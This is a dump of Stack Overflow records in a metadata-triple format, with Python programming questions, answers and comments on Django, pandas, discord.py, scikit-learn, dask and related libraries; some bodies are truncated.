has body: Upon registration I check the user_type and move the user to one of three web pages. It is showing the correct page layout but the url stays the same as the registration page. EG: url says "http://127.0.0.1:8000/users/register/" Page shows: "user type 1 information" I thought using redirect should change the url but it doesn't seem to be working. views.py: def register(request): if request.method == 'POST': form = RegisterForm(data=request.POST) if form.is_valid(): # profile = form.save(commit=False) # profile.user = request.user # profile.save() user = form.save() profile = user.userprofile user_group = form.cleaned_data.get('user_type') profile.user_type = user_group profile.save() # form.save() username = form.cleaned_data.get('username') password = form.cleaned_data.get('password1') user_group = form.cleaned_data.get('user_type') user = authenticate(username = username, password = password) login(request, user) print(user_group) print(type(user_group)) if user_group == '1': return HttpResponseRedirect("/users/business/") # return # HttpResponseRedirect('http://127.0.0.1:8000/users/business/') # return HttpResponseRedirect(reverse('users:business')) # return redirect(request, 'users/business.html') elif user_group == '2': return redirect(request, 'users/student.html') elif user_group == '3': return redirect(request, 'users/tourist.html') # else: # return redirect('main:index') else: print(RegisterForm.errors) else: form = RegisterForm() def business_view(request): # return redirect(request, 'users/business.html') # return HttpResponseRedirect('users/business.html') # return redirect('/users/business/') return redirect('users/business') def student_view(request): return redirect(request, 'users/student.html') def tourist_view(request): return redirect(request, 'users/tourist.html') urls.py urlpatterns = [ # Login page #url(r'^login/$', login, {'template_name': 'users/login.html'}, name='login'), url(r'^login/$', login, {'template_name': 'users/login.html'}, name='…

http://stackoverflow.com/comment/80922372
score: 0
type: Comment
type: AnswerComment
has text: I did wait for a couple of minutes so it updated, but if you try the example I gave you it does the same thing.
comment on: http://stackoverflow.com/a/46971540

http://stackoverflow.com/comment/81013564
type: QuestionComment
comment on: http://stackoverflow.com/q/47033476
score: 0
has text: @JamesKent I would like to ignore it indeed. But i have no clue on how to do so. The unwanted caracter seems to appear very rarely, and I can't find a link between it and my arduino program.
type: Comment

http://stackoverflow.com/q/47062900
answer count: 2
has comment: http://stackoverflow.com/comment/81074284
has comment: http://stackoverflow.com/comment/81074199
has answer: http://stackoverflow.com/a/47063452
downvote count: 0
has comment: http://stackoverflow.com/comment/81074020
score: 1
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47063092
type: Question
has title: Discord.py check if input is int
tagged with: discord.py
type: UnansweredQuestion
has body: I am trying to write a raffle command for my bot using discord.py and want it so the user can do the following command to start a raffle: !raffle time winners title EG: !raffle 60 1 Pie The issue I am having is creating validation to check that the first two inputs are numbers and that the title isn't blank. Currently this is the code I have for the command: @bot.command(pass_context=True) async def raffle(ctx, time, winners, title): if time != int or winners != int or title != "": await bot.say("{} raffle has been started for {} seconds and there will be {} winner(s)!".format(title, time, winners)) else: await bot.say("Seems you went wrong! Raffle format is: !raffle time winners title") return However I am having no luck and am getting the following error: Ignoring exception in command raffle Traceback (most recent call last): File "C:\Users\kairj\AppData\Local\Programs\Python\Python36-32\lib\site-packages\discord\ext\commands\bot.py", line 846, in process_commands yield from command.invoke(ctx) File "C:\Users\kairj\AppData\Local\Programs\Python\Python36-32\lib\site-packages\discord\ext\commands\core.py", line 367, in invoke yield from self.prepare(ctx) File "C:\Users\kairj\AppData\Local\Programs\Python\Python36-32\lib\site-packages\discord\ext\commands\core.py", line 345, in prepare yield from self._parse_arguments(ctx) File "C:\Users\kairj\AppData\Local\Programs\Python\Python36-32\lib\site-packages\discord\ext\commands\core.py", line 304, in _parse_arguments transformed = yield from self.transform(ctx, param) File "C:\Users\kairj\AppData\Local\Programs\Python\Python36-32\lib\site-packages\discord\ext\commands\core.py", line 212, in transform raise MissingRequiredArgument('{0.name} is a required argument that is missing.'.format(param)) discord.ext.commands.errors.MissingRequiredArgument: time is a required argument that is missing. Any help would be great as I am sure its a simple mistake somewhere! Thanks in advance
tagged with: python

http://stackoverflow.com/comment/80941272
type: AnswerComment
score: 1
has text: That seems right according to the problem description. Doesn't seem like there's any reason to wrap `set(elim)` in `list()` though.
comment on: http://stackoverflow.com/a/46997313
type: Comment

http://stackoverflow.com/a/46983949
type: AcceptedAnswer
downvote count: 0
upvote count: 5
type: Answer
has body: Aha! It's because Random implements __len__: In [1]: from sklearn.ensemble import RandomForestClassifier ...: from sklearn.neighbors import KNeighborsClassifier ...: In [2]: knn = KNeighborsClassifier(4) In [3]: forest = RandomForestClassifier(n_estimators=10, max_depth=4) In [4]: knn.__bool__ --------------------------------------------------------------------------- AttributeError Traceback (most recent call last) &lt;ipython-input-4-ef1cfe16be77&gt; in &lt;module&gt;() ----&gt; 1 knn.__bool__ AttributeError: 'KNeighborsClassifier' object has no attribute '__bool__' In [5]: knn.__len__ --------------------------------------------------------------------------- AttributeError Traceback (most recent call last) &lt;ipython-input-5-dc98bf8c50e0&gt; in &lt;module&gt;() ----&gt; 1 knn.__len__ AttributeError: 'KNeighborsClassifier' object has no attribute '__len__' In [6]: forest.__bool__ --------------------------------------------------------------------------- AttributeError Traceback (most recent call last) &lt;ipython-input-6-fbdd7f01e843&gt; in &lt;module&gt;() ----&gt; 1 forest.__bool__ AttributeError: 'RandomForestClassifier' object has no attribute '__bool__' In [7]: forest.__len__ Out[7]: &lt;bound method BaseEnsemble.__len__ of RandomForestClassifier(bootstrap=True, class_weight=None, criterion='gini', max_depth=4, max_features='auto', max_leaf_nodes=None, min_impurity_split=1e-07, min_samples_leaf=1, min_samples_split=2, min_weight_fraction_leaf=0.0, n_estimators=10, n_jobs=1, oob_score=False, random_state=None, verbose=0, warm_start=False)&gt; In [8]: len(forest) Out[8]: 0 And, according to the Python Data Model: object.__bool__(self) Called to implement truth value testing and the built-in operation bool(); should return False or True. When this method is not defined, __len__() is called, if it is defined, and the object is considered true if its result is nonzero. If a class defines neither __len__() nor __bool__(), all its instances are considered true. A…
answers question: http://stackoverflow.com/q/46983871
score: 5
accepted answer of: http://stackoverflow.com/q/46983871

http://stackoverflow.com/comment/124009985
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/51819449
has text: i'm quite confused on how the example provided could work. My `user_feature_map` produced with `mapping` method is a long dictionary with keys made up of userid and tuple of features + user id. for example `('user_id','feat_0:val','feat_1:val2')` . How this instructions `user_feature_map[feature]` could work in this setting?
type: Comment

http://stackoverflow.com/comment/80794415
comment on: http://stackoverflow.com/q/46923701
type: Comment
type: QuestionComment
has text: Both. As in this example like lst = [('a',1)('b',2)]
score: 0

http://stackoverflow.com/comment/80820955
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/46928961
score: 0
has text: I need the code to be compiled on the user's machine for compatibility reasons: the extension compiled on my machine (linux-64) won't work on OSX or Windows, and I don't have access to any other platform (nor do I want to compile on each platform...) If the only way is to use CI services then I guess I'll just tell users to install the package with pip. Thanks!

http://stackoverflow.com/a/47309224
answers question: http://stackoverflow.com/q/46954478
type: Answer
has body: Yes because \ means break in Python. \\ equals \but if you use 3 you are breaking something again.
has comment: http://stackoverflow.com/comment/81568727
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46954478
has comment: http://stackoverflow.com/comment/81568711

http://stackoverflow.com/a/46937283
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/46931790
has body: In a conforming XSD schema, the value of pattern must be a string in the language defined for regular expressions by the XSD spec. In many details, that language follows the regular expressions of Perl, but there are several differences in semantics and syntax due to the way patterns are used in XSD. Unlike Perl patterns, XSD patterns are regular expressions in the strict sense that they recognize regular languages. They do not include bells and whistles like parenthesis matching or substring repetition, which require more than regular-expression power. Like all facets in the definition of a simple type, patterns are used to produce a Boolean result: either the candidate literal matches the regular expression or it does not. There is no facility in XSD for using parts of the literal string, and so there is no motivation for the convention that the regex engine retains a record of the part of the string matched by a particular regular expression so that that substring can be retrieved later by a reference of the form \1, \2, etc. Since \ is a metacharacter in XSD regular expressions, and \1 etc. are not defined as escape sequences, the string \1 is not a legal XSD regular expression, nor is any string containing it. (Ditto for \2 through \9.) Since XSD regexes have no facilities for instructing the engine to remember substrings, there is no utility in distinguish parenthesized expressions whose matching string should be remembers from those whose matching string need not be remembered (capturing and non-capturing groups). Since ? is a meta-character which must be preceded by a regular expression, and since ( is not a legal regular expression, nor the last character of any legal regular expression unless escaped (the string '\(' is a legal regular expression) the string (? is not a legal XSD regular expression, nor can it appear as a substring of any legal XSD regular expression unless the left parenthesis is preceded by backslash. XPath regular expressions do have in…
downvote count: 0
score: 1

http://stackoverflow.com/comment/80864935
type: Comment
comment on: http://stackoverflow.com/q/46958721
type: QuestionComment
score: 0
has text: Welcome to SO. Please have a look at [tour]. You may also want to check [What topics can I ask about](http://stackoverflow.com/help/on-topic), and [ask], and how to create a [mcve]. Post the code you have tried and the errors you have received. Be as specific as possible as it will lead to better answers. Show us the code you are using in addition to the xml you need

http://stackoverflow.com/q/46960407
type: Question
has answer: http://stackoverflow.com/a/46993352
tagged with: stdout
tagged with: python
score: 0
has title: Python: Catch output of console in antoher console
type: UnansweredQuestion
answer count: 1
has body: Let's say I have myscript.py: while True: print("hi") time.sleep(1) Now launching it in mainscript.py as subprocess: sub = subprocess.Popen([sys.executable, "-u", myscript.py], creationflags=CREATE_NEW_CONSOLE, stdout=PIPE, bufsize=1) Now I read the output of myscript.py: while sub.poll() == None: subm = sub.stdout.readline() print (subm) #print for checking only But this only works, when I don't create a new console. But I need this console window. How can I catch/access the output of another console window? Any help will be appreciated. Thanks!
tagged with: console

http://stackoverflow.com/a/46960814
has comment: http://stackoverflow.com/comment/80869101
accepted answer of: http://stackoverflow.com/q/46960728
has body: The basic intuition here is to use df.rolling and specify a custom win_type. df.rolling(window=3, min_periods=1, win_type='hanning').sum() apple oranges pears 0 0.0 0.0 0.0 1 0.0 0.2 0.6 2 0.0 0.1 0.2 3 0.0 0.0 0.0 4 0.2 0.1 0.2 I didn't know there was a "Hanning" window... but there is! Pretty neat...
has comment: http://stackoverflow.com/comment/80869918
answers question: http://stackoverflow.com/q/46960728
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/80869897
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/46990511
type: Question
has comment: http://stackoverflow.com/comment/80932846
has answer: http://stackoverflow.com/a/54417494
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80932372
has comment: http://stackoverflow.com/comment/80932463
tagged with: python
tagged with: data-science
has title: How to structure Machine Learning projects using Object Oriented programming in Python?
tagged with: oop
has comment: http://stackoverflow.com/comment/129656672
answer count: 1
downvote count: 3
score: 23
has body: I have observed that staticians and machine learning scientist generally doesnt follow OOPS for ML/data science projects when using Python (or other languages). Mostly it should be due to lack of understanding of best software engineering practises in oops while developing ML code for production. Because they mostly come from math &amp; statistics education background than computer science. Days when ML scientist develop ad hoc protype code and another software team make it production ready are over in the industry. Questions How do we structure code using OOP for ML project? Should every major task (from picture above) like data cleaning, feature transformation, grid search, model validation etc. be a individual class? What are the recommended code design practises for ML? Any good github links with well strcutured code for reference (may be a well written kaggle solution) Should every class like data cleaning have fit(), transform(), fit_transform() function for every process like remove_missing(), outlier_removal()? When this is done why is scikit-learn BaseEstimator be usually inherited? What should be the structure of typical config file for ML projects in production?
tagged with: machine-learning
upvote count: 26
favorite count: 0

http://stackoverflow.com/comment/80960012
has text: Did the import fail? (You should be getting some sort of error in that case.)
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47006694
type: QuestionComment

http://stackoverflow.com/q/47025034
has comment: http://stackoverflow.com/comment/81000420
answer count: 0
type: UnansweredQuestion
downvote count: 0
has title: How to make a scheduled task that does not block?
has comment: http://stackoverflow.com/comment/81019822
upvote count: 1
tagged with: python
has body: This modification to Monitor class needs to be able to start and stop a periodic message before and after other user initiated tasks. It is currently able to start the periodic message but then blocks, not allowing the user to start another task or gracefully stop itself (heartbeat.stop()). Is there a way to fix this so that heartbeat.start() does not block? def opHeartbeat(): ... zocket.send(opMsg) class HeartbeatClass(object): def __init__(self): self.schedule = sched.scheduler(time.time, time.sleep) self._running = False def periodic(self, action, actionargs=()): if self._running: self.event = self.schedule.enter(HEARTBEAT_INTERVAL, 1, self.periodic, (action, actionargs)) action(*actionargs) def start(self): self._running = True self.periodic(opHeartbeat) self.schedule.run() def stop(self): self._running = False if self.schedule and self.event: self.schedule.cancel(self.event) heartbeat = HeartbeatClass() def opStartHeartbeat(): print " Enter Heartbeat period in seconds or &lt;enter&gt; for 5s" global HEARTBEAT_INTERVAL HEARTBEAT_INTERVAL = raw_input(' Enter Heartbeat period: ') if HEARTBEAT_INTERVAL == (""): HEARTBEAT_INTERVAL = 5 heartbeat.start() def opStopHeartbeat(): heartbeat.stop() def opMenuChoice(option): ... elif (option == 31): opStartHeartbeat() elif (option == 32): opStopHeartbeat() ... option = 0 GObject.threads_init() while (option != 99): option = raw_input('Enter menu option: ') opMenuChoice(option)
linked to: http://stackoverflow.com/q/12907581
score: 1
tagged with: scheduled-tasks
favorite count: 0
type: Question

http://stackoverflow.com/comment/81007586
comment on: http://stackoverflow.com/q/47030448
score: 0
type: Comment
type: QuestionComment
has text: Please post the actual outputs of your code (no one is going to setup a full django project just to test it) AND the expected outputs.

http://stackoverflow.com/comment/81074082
has text: I mean, sure, but this doesn't really address the syntax at all.
comment on: http://stackoverflow.com/a/47062974
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47008137
downvote count: 0
upvote count: 1
favorite count: 0
tagged with: series
has answer: http://stackoverflow.com/a/47008207
type: Question
tagged with: pandas
accepted answer: http://stackoverflow.com/a/47008999
score: 1
has body: Here are the two series. They were generated after grouping a dataframe based on two column values, patient_id and event_description: Series 1: patient_id event_description A DiagnosisA 2016-09-15 B DiagnosisA 2013-01-01 C DiagnosisA 2016-01-10 D DiagnosisA 2015-01-02 Series 2: patient_id event_description A DiagnosisB 2016-09-30 B DiagnosisB 2013-01-04 D DiagnosisB 2015-01-15 So I essentially Would like to find the difference in time between between each patient. For example for patient A it would return 15 days but for patient C, It could say `NaN.
has answer: http://stackoverflow.com/a/47008842
tagged with: python
has answer: http://stackoverflow.com/a/47008999
possible better answer: http://stackoverflow.com/a/47008207
type: AnsweredQuestion
answer count: 3
has title: Attempting to subtract the values between two different Pandas Series based on corresponding indices

http://stackoverflow.com/a/60579926
answers question: http://stackoverflow.com/q/46907277
has body: Looks like polyline is 10 characters long for lat/lon. All you need to do is divide your 20K file into 4, if you want to "lower detail". I feel like you could do this pretty quickly with python. Load up the string in a variable, and store chunks of 10 characters per 40. Then dump that into a file, and it should be 1/4 the size of the original 20K string, and you will lose 3/4 of you data points evenly.
has comment: http://stackoverflow.com/comment/137226837
score: 0
type: Answer

http://stackoverflow.com/comment/80990144
type: QuestionComment
comment on: http://stackoverflow.com/q/47020876
score: 0
has text: I'm at a loss on this one completely, I have tried every way I can think of to replicate this behaviour but I haven't been able to achieve it.
type: Comment

http://stackoverflow.com/comment/80956215
comment on: http://stackoverflow.com/q/47003833
score: 0
type: QuestionComment
has text: I think that you should look at the `struct` module. https://docs.python.org/3/library/struct.html#module-struct
type: Comment

http://stackoverflow.com/a/51843158
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46911220
upvote count: 9
answers question: http://stackoverflow.com/q/46911220
type: Answer
has comment: http://stackoverflow.com/comment/137308356
has body: The solution (from the comments by @Primer): both repartitioning and resetting the index use assign instead of concatenate The final code; import os from pathlib import Path import dask.dataframe as dd import numpy as np import pandas as pd df = dd.read_csv(['data/untermaederbrunnen_station1_xyz_intensity_rgb.txt'], delimiter=' ', header=None, names=['x', 'y', 'z', 'intensity', 'r', 'g', 'b']) df_label = dd.read_csv(['data/untermaederbrunnen_station1_xyz_intensity_rgb.labels'], header=None, names=['label']) # len(df), len(df_label), df_label.label.isnull().sum().compute() df = df.repartition(npartitions=200) df = df.reset_index(drop=True) df_label = df_label.repartition(npartitions=200) df_label = df_label.reset_index(drop=True) df = df.assign(label = df_label.label) df.head()
score: 9
has comment: http://stackoverflow.com/comment/98302974
downvote count: 0

http://stackoverflow.com/a/46970411
type: Answer
answers question: http://stackoverflow.com/q/46970160
score: 9
has body: You can use the reduce operation to combine the Q objects. Solution: from functools import reduce import operator options = ['1', '2', '3', '4'] # uses operator or to combine the Q objects with the particular option filter query = reduce(operator.or_, (Q(value__icontains=option) for option in options)) polls = Poll.objects.get(query)
downvote count: 0
upvote count: 9

http://stackoverflow.com/q/47058092
accepted answer: http://stackoverflow.com/a/47220631
possible better answer: http://stackoverflow.com/a/48557199
downvote count: 3
has answer: http://stackoverflow.com/a/47220631
has answer: http://stackoverflow.com/a/48557199
tagged with: tensorflow
favorite count: 0
type: Question
answer count: 2
has body: I want to load "vgg16.npy" to a vggnet written by myself. I wonder if you could help me with this.Thank you.
upvote count: 0
tagged with: python
score: -3
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81063694
has title: Tensorflow: how to load a ".npy" file to a net

http://stackoverflow.com/comment/80869851
comment on: http://stackoverflow.com/q/46961042
score: 0
type: Comment
has text: For future reference, you should include the smallest code possible in your question that demonstrates your problem i.e. a [Minimal, Complete, and Verifiable example](https://stackoverflow.com/help/mcve). Most of the code you provide in effect just repeats itself, so it could have been made much shorter and easier to read
type: QuestionComment

http://stackoverflow.com/q/46956270
has title: Python dataframe - data values from 3 columns to be mapped under other 3 columns
has answer: http://stackoverflow.com/a/46956852
favorite count: 0
type: Question
type: UnansweredQuestion
has body: Python experts, I need some help understanding how I can re-shape or pivot columns of my pandas dataframe. Following is what I want to do, I have a situation where I have 6 columns First_name1, middle_name1, last_name1, first_name2, middle_name2 and last_name2. I want to bring the values of the last 3 columns under the 1st 3 columns, like some sort of pivoting but not exactly. First Name 1 Middle Name 1 Last Name 1 First Name 2 Middle Name 2 Last Name 2 ABC DAF XYZ LOU NaN XYZ I am unable to understand how to do it. I only need 1st 3 columns existing after this operation. Any help would be certainly appreciated.
has answer: http://stackoverflow.com/a/46956370
has answer: http://stackoverflow.com/a/46956314
tagged with: dataframe
tagged with: python
upvote count: 2
score: 2
answer count: 3
downvote count: 0
tagged with: pandas

http://stackoverflow.com/q/46957347
answer count: 1
downvote count: 0
tagged with: character-encoding
has comment: http://stackoverflow.com/comment/80862692
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46959540
has body: The following code is saved as a utf-8 encoded text file: #!/usr/bin/env python # -*- coding: utf-8 -*- print 'é' When I run the above code on the command line in Linux using Python 2.7, I get the output é as expected. If I change the encoding declaration in the file from utf-8 to cp1252 and re-run it I get the same output é. But shouldn't Python now be interpreting the é in the file, stored as hex c3a9, as cp1252 encoded text? In which case the output should be Ã©? If I force my text editor to view the file as cp1252 encoded text the é changes to Ã©. Why isn't Python doing the same?
tagged with: python
has answer: http://stackoverflow.com/a/46959540
type: AnsweredQuestion
score: 1
has title: Python encoding declaration appears to be getting ignored?

http://stackoverflow.com/comment/80857039
score: 0
type: Comment
type: QuestionComment
has text: @cᴏʟᴅsᴘᴇᴇᴅ Thank you for correct me, I'll use it just for debuging ...
comment on: http://stackoverflow.com/q/46952768

http://stackoverflow.com/comment/80784632
comment on: http://stackoverflow.com/q/46918562
score: 0
type: Comment
type: QuestionComment
has text: `ilist = list(itertools.combinations(freq_oneItemSet, 2))` is a huge waste. You can just compute `scipy.misc.comb(len(freq_oneItemSet), 2)`

http://stackoverflow.com/comment/81023410
has text: Something like a logger you will not necessarily want to inject; same as doing `error_log('Foo!')` in PHP. The OOP practices really aren't different in this regard.
comment on: http://stackoverflow.com/q/47038399
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46953090
accepted answer: http://stackoverflow.com/a/46953387
has comment: http://stackoverflow.com/comment/80855541
type: Question
upvote count: 2
has title: Find keys occurence in list of objects in python
has comment: http://stackoverflow.com/comment/80853472
tagged with: python
has comment: http://stackoverflow.com/comment/80853392
tagged with: list
has answer: http://stackoverflow.com/a/46953387
has comment: http://stackoverflow.com/comment/80853454
score: 2
type: AnsweredQuestion
downvote count: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/46953515
has answer: http://stackoverflow.com/a/46954069
has comment: http://stackoverflow.com/comment/80853175
has answer: http://stackoverflow.com/a/46953515
has body: I'm trying to transform this list: list = [ {'product_name': '4x6', 'quantity': 1, 'price': 0.29}, {'product_name': '4x6', 'quantity': 1, 'price': 0.29}, {'product_name': '4x6', 'quantity': 1, 'price': 0.29}, {'product_name': '4x6', 'quantity': 1, 'price': 0.29}, {'product_name': '4x4', 'quantity': 1, 'price': 0.29}, {'product_name': '4x4', 'quantity': 1, 'price': 0.29}, {'product_name': '4x4', 'quantity': 1, 'price': 0.29}, {'product_name': '4x4', 'quantity': 1, 'price': 0.29}, ] into the sum of occurence on the key 'product_name' like this: list_final = [ {'product_name': '4x6', 'quantity': 4, 'price': 1.16}, {'product_name': '4x4', 'quantity': 4, 'price': 1.16}, ] I can't figure how to search the occurence of the key 'product_name' without doing loops in loops what I did : for item in list: if item.product_name in data.keys(): data[item.product_name]['qty'] += 1 data[item.product_name]['price'] *= 2 else: data.update({item.product_name: [{'qty': item['quantity'], 'price': item['price']}]}) but I cant find a solution to get my list as I want how can I do this right ?
has comment: http://stackoverflow.com/comment/80853369
favorite count: 0

http://stackoverflow.com/q/47042026
answer count: 3
upvote count: 5
tagged with: python
has title: Python: Generate IP ranges from list of IP addresses
accepted answer: http://stackoverflow.com/a/47043396
has answer: http://stackoverflow.com/a/47043333
has comment: http://stackoverflow.com/comment/81040944
has answer: http://stackoverflow.com/a/47043396
type: Question
score: 5
has body: I have a .csv file with list of IP addresses for few data centers. The list currently looks similar to the table below: Data_Center_Name IP DC_1 52.102.182.2 DC_1 52.102.182.4 DC_1 52.102.182.1 DC_1 52.102.182.5 DC_1 52.102.182.3 DC_1 27.101.178.17 DC_1 27.101.178.16 DC_1 27.101.178.15 DC_1 23.201.165.7 DC_2 55.200.162.10 DC_2 55.200.162.12 DC_2 55.200.162.13 DC_2 55.200.162.11 DC_3 30.101.102.4 I want to convert the lists into individual lists such as: DC_1 = [52.102.182.1-52.102.182.5, 27.101.178.15-27.101.178.17, 23.201.165.7] DC_2 = [55.200.162.10-55.200.162.13] DC_3 = [30.101.102.4] Can anyone help me using python?
possible better answer: http://stackoverflow.com/a/47043333
tagged with: arrays
downvote count: 0
has comment: http://stackoverflow.com/comment/81034215
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47042063
has comment: http://stackoverflow.com/comment/81031630

http://stackoverflow.com/comment/80951315
type: QuestionComment
comment on: http://stackoverflow.com/q/47002404
has text: Just change `\ to `/
score: 1
type: Comment

http://stackoverflow.com/comment/80792175
type: QuestionComment
has text: See also: https://stackoverflow.com/questions/45883598/pandas-histogram-df-hist-group-by/45884249#45884249
comment on: http://stackoverflow.com/q/46922203
type: Comment
score: 1

http://stackoverflow.com/q/46942429
tagged with: mysql
has body: fields is => [u'sender', u'timestamp', u'number', u'mms', u'datetime', u'text', u'id'] dataList is => [(False, 1475565742761L, u'VM-449100', False, u'2016-10-04 12:52:22 GMT+05:30', u'Some text here', 1276)] cursor = connection.cursor() query = """INSERT INTO messages """+str(tuple(fields))+""" VALUES (%s, %s, %s, %s, %s, %s, %s) """,dataList cursor.executemany(query) On executing the above code i am getting error => executemany() takes exactly 3 arguments (2 given)
has comment: http://stackoverflow.com/comment/80832483
accepted answer: http://stackoverflow.com/a/46942655
type: Question
has answer: http://stackoverflow.com/a/46942655
tagged with: python-2.7
upvote count: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/80832285
answer count: 1
tagged with: django
has comment: http://stackoverflow.com/comment/80832470
favorite count: 0
type: AnsweredQuestion
score: -2
tagged with: mysql-python
has title: executemany() takes exactly 3 arguments (2 given) -- mysql with Python
tagged with: python

http://stackoverflow.com/a/47057268
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/47056760
has body: Open db command line. python manage.py dbshell And try this delete from django_migrations where app='app_name'; Then delete migration files and run migration commands.
downvote count: 0
type: Answer

http://stackoverflow.com/comment/80908077
comment on: http://stackoverflow.com/a/46979887
type: Comment
score: 0
type: AnswerComment
has text: @SimonePaolo those are regular expression pattern. If my solution worked for you, Please accept the answer.

http://stackoverflow.com/a/46941646
has comment: http://stackoverflow.com/comment/80833661
has comment: http://stackoverflow.com/comment/80835269
type: Answer
has body: How about: def func (x, beta): y = np.empty_like(x) mask = x &lt;= 0 y[mask] = beta * (np.exp(x[mask])-1) y[~mask] = x[~mask] return y mask contains the indizes for elements that are &lt;= 0, so that you can seperate the two cases.
has comment: http://stackoverflow.com/comment/80835278
answers question: http://stackoverflow.com/q/46941149
upvote count: 2
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/80847961

http://stackoverflow.com/comment/81032405
has text: In your answer in `df1` If I drop duplicate row then the `3and 4` records only one will be left. then that record should be moved to `df2`
comment on: http://stackoverflow.com/a/47042643
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81085817
type: Comment
comment on: http://stackoverflow.com/a/47056727
score: 0
type: AnswerComment
has text: Then use pandas.merge function or pandas.append. Note: Column names should be same in all the data frames.

http://stackoverflow.com/q/47059534
tagged with: django
has comment: http://stackoverflow.com/comment/81066554
answer count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47059610
has body: I have a model BankAccount. BankAccount model contains CharField IBAN which is a International Bank Account Number. I use {{ bank_account.IBAN }} in multiple templates. It's stored as a string without spaces but I want to change it's template rendering such that every 4 characters are followed by zero. SK121234123412341234 will be rendered as SK12 1234 1234 1234 1234 I could probably create some TemplateTag or TemplateFilter but I'm curious if there is a way to change it in BankAccount model. For example create my own IBANField (overriding CharField) so I don't have to surrounding IBAN variable by tags or filters. class BankAccount(models.Model): IBAN = models.CharField(max_length=40, ... ) ... Didn't find rendering methods here: https://docs.djangoproject.com/en/1.11/howto/custom-model-fields/
has title: Change rendering of a particular CharField in Django
tagged with: django-models
tagged with: python
has answer: http://stackoverflow.com/a/47059610
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/81066627
score: 2
upvote count: 2
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/comment/81076849
type: Comment
score: 0
type: AnswerComment
has text: @bigd I have updated my answer with something that may work for you
comment on: http://stackoverflow.com/a/47064250

http://stackoverflow.com/a/46944760
has body: If you are comfortable doing a little research I would recommend importing scipy import scipy.integrate as integrate https://docs.scipy.org/doc/scipy/reference/tutorial/integrate.html
score: 0
answers question: http://stackoverflow.com/q/46944725
has comment: http://stackoverflow.com/comment/80844121
has comment: http://stackoverflow.com/comment/80865483
type: Answer

http://stackoverflow.com/a/76410103
answers question: http://stackoverflow.com/q/46988603
has body: Actually I tried 2 ways to display mathematical notation on Kivy Label: (Each of way includes SymPy or Matplotlib) 1- Use SymPy printing module from sympy import * ... init_printing(use_unicode=True) Do not forget this piece display mathematical notation but you have to use needed font name for Kivy label to display mathematical notation perfectly. I know one, it's "dejavusans mono" yeah this is monospace font. 2- Use Matplotlib. turn to png then display the png on Kivy Image here is good example display math symbols with matplotlib *(here is sample code): from kivy.app import App from kivy.uix.widget import Widget from kivy.uix.boxlayout import BoxLayout from kivy.lang.builder import Builder from sympy import * x,y,z = symbols('x y z') init_printing(use_unicode=True) kiv=Builder.load_string(""" <MainScreen>: BoxLayout: orientation:'vertical' Label: id:lbl1 text:'math-equation' markup:True #font_name:'dejavusansmono.ttf' ----here your monospace font Label: id:lbl2 text:'math-equation' markup:True #font_name:'dejavusansmono.ttf' ----here your monospace font Button: id:btn text:'Display' on_press:root.display() """) class MainScreen(BoxLayout): def display(self): expression=Derivative(sqrt(x+2)*cos(x+2), x) answer=expression.doit() good_symbols1=pretty(expression) good_symbols2=pretty(answer) self.ids.lbl1.text=good_symbols1 self.ids.lbl2.text=good_symbols2 class Example(App): def build(self): scr=MainScreen() return scr Example().run() [Out]:
type: Answer
score: 0

http://stackoverflow.com/comment/80786047
type: AnswerComment
has text: Hi, should it be lower case? I had put it in all caps because the tutorial that I was following wrote it in caps.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46918294

http://stackoverflow.com/q/47011729
tagged with: arrays
upvote count: 1
downvote count: 1
tagged with: opencv
score: 0
has answer: http://stackoverflow.com/a/47011925
has comment: http://stackoverflow.com/comment/80969855
tagged with: python
has title: How can I compute mean and standard deviation from 3d-RGB arrays with python?
favorite count: 0
has body: I now need to get mean and standard deviation of RGB values of 10 pictures (400px,400px) . I mean mean_of_Red(x,y), std_of_Red(x,y), and so on... Using cv2.imread, I got 10 (400,400,3) shape arrays. So, I first tried to use numpy.dstack to stack each RGB value to get (400,400,3,10) shape arrays. However, it didn't work since the shape of the array changes by iteration. So, I finally wrote code beneath def average_and_std_of_RGB(pic_database,start,num_past_frame): background = pic_database[0] #initialize background past_frame = pic_database[1:num_past_frame+1] width,height,depth = background.shape sumB = np.zeros(width*height) sumG = np.zeros(width*height) sumR = np.zeros(width*height) sumB_sq = np.zeros(width*height) sumG_sq = np.zeros(width*height) sumR_sq = np.zeros(width*height) for item in (past_frame): re_item = np.reshape(item,3*width*height) #reshape (400,400,3) to (480000,) itemB =[re_item[i] for i in range(3*width*height) if i%3==0] #Those divisible by 3 is Blue itemG =[re_item[i] for i in range(3*width*height) if i%1==0] #Those divisible by 1 is Green itemR =[re_item[i] for i in range(3*width*height) if i%2==0] #Those divisible by 2 is Red itemB_sq = [item**2 for item in itemB] itemG_sq = [item**2 for item in itemG] itemR_sq = [item**2 for item in itemR] sumB = [x+y for (x,y) in zip(sumB,itemB)] sumG = [x+y for (x,y) in zip(sumG,itemG)] sumR = [x+y for (x,y) in zip(sumR,itemR)] sumB_sq = [x+y for (x,y) in zip(sumB_sq,itemB_sq)] sumG_sq = [x+y for (x,y) in zip(sumG_sq,itemG_sq)] sumR_sq = [x+y for (x,y) in zip(sumR_sq,itemR_sq)] aveB = [x/num_past_frame for x in sumB] aveG = [x/num_past_frame for x in sumG] aveR = 